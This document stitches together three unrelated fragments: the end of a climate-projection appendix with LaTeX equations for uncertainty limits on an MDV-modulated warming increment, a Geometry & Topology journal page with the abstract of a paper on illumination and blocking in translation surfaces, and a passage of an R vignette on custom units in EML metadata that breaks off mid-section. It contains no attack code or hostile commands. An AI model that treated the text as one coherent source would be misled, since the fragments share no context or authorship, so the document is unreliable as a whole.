 ${\rm{{Upper}_{ST + MDV}}} = {\rm {\left( {ST + MDV} \right)}}^{95{\rm {th}}},$ (A4)
 ${\rm{Lowe}}{{\rm{r}}_{\rm {ST + MDV}}} = {\left( {{\rm {ST}} + {\rm MDV}} \right)^{5{\rm {th}}}}.$ (A5)

Third, the upper and lower uncertainty limits of the MDV-modulated warming increment in the near-term projection are calculated as:

 \begin{align} & {\rm{Incremen}}{{\rm{t}}_{{\rm{ST + MDV\underline {\,\,\,} upper}}}} \hfill \\ & \,\,\, {\rm{ = Uppe}}{{\rm{r}}_{{\rm{ST + MDV}}}}\left( {{\rm{last}}} \right) - {\rm{Lowe}}{{\rm{r}}_{{\rm{ST + MDV}}}}\left( {{\rm{first}}} \right), \end{align} (A6)
 \begin{align}& {\rm{Incremen}}{{\rm{t}}_{{\rm{ST + MDV\underline {\,\,\,} lower}}}} \\&\,\, {\rm{ = Lowe}}{{\rm{r}}_{{\rm{ST + MDV}}}}\left( {{\rm{last}}} \right) - {\rm{ Uppe}}{{\rm{r}}_{{\rm{ST +MDV}}}}\left( {{\rm{first}}} \right). \end{align} (A7)
References


text:
Volume 20, issue 3 (2016)

 Recent Issues
 The Journal About the Journal Editorial Board Editorial Interests Subscriptions Submission Guidelines Submission Page Policies for Authors Ethics Statement ISSN (electronic): 1364-0380 ISSN (print): 1465-3060 Author Index To Appear Other MSP Journals
Everything is illuminated

Samuel Lelièvre, Thierry Monteil and Barak Weiss

Geometry & Topology 20 (2016) 1737–1762
Abstract

We study geometrical properties of translation surfaces: the finite blocking property, bounded blocking property, and illumination properties. These are elementary properties which can be fruitfully studied using the dynamical behavior of the $SL\left(2,ℝ\right)$–action on the moduli space of translation surfaces. We characterize surfaces with the finite blocking property and bounded blocking property, completing work of the second-named author. Concerning the illumination problem, we also extend results of Hubert, Schmoll and Troubetzkoy, removing the hypothesis that the surface in question is a lattice surface, thus settling a conjecture of theirs. Our results crucially rely on the recent breakthrough results of Eskin and Mirzakhani and of Eskin, Mirzakhani and Mohammadi, and on related results of Wright.

Keywords
illumination, translation surfaces, billiards, everything
Primary: 37E35
Secondary: 53A99


text:
# Working with Units

## Overview

One essential role of EML metadata is in precisely defining the units in which data is measured. To make sure these units can be understood by (and thus potentially converted to other units by) a computer, it’s necessary to be rather precise about our choice of units. EML knows about a lot of commonly used units, referred to as “standardUnits,” already. If a unit is in EML’s standardUnit dictionary, we can refer to it without further explanation as long as we’re careful to use the precise id for that unit, as we will see below.

Sometimes data involves a unit that is not in standardUnit dictionary. In this case, the metadata must provide additional information about the unit, including how to convert the unit into the SI system. EML uses an existing standard, stmml, to represent this information, which must be given in the additionalMetadata section of an EML file. The stmml standard is also used to specify EML’s own standardUnit definitions.

## Add a custom unit to EML

library("EML")
custom_units <-
data.frame(id = "speciesPerSquareMeter",
unitType = "arealDensity",
parentSI = "numberPerSquareMeter",
multiplierToSI = 1,
description = "number of species per square meter")

unitList <- set_unitList(custom_units)

Start with a minimal EML document

me <- list(individualName = list(givenName = "Carl", surName = "Boettiger"))
my_eml <- list(dataset = list(
title = "A Minimal Valid EML Dataset",
creator = me,
contact = me),
additionalMetadata = list(metadata = list(
unitList = unitList
))
)
write_eml(my_eml, "eml-with-units.xml")
eml_validate("eml-with-units.xml")
## [1] TRUE
## attr(,"errors")
## character(0)

Note: Custom units are widely misunderstood and misused in EML. See examples from custom-units

## Reading EML: parsing unit information, including custom unit types

Let us start by examining the numeric attributes in an example EML file. First we read in the file:

f <- system.file("tests", emld::eml_version(), "eml-datasetWithUnits.xml", package = "emld")
eml <- read_eml(f)

We extract the attributeList, and examine the numeric attributes (e.g. those which have units):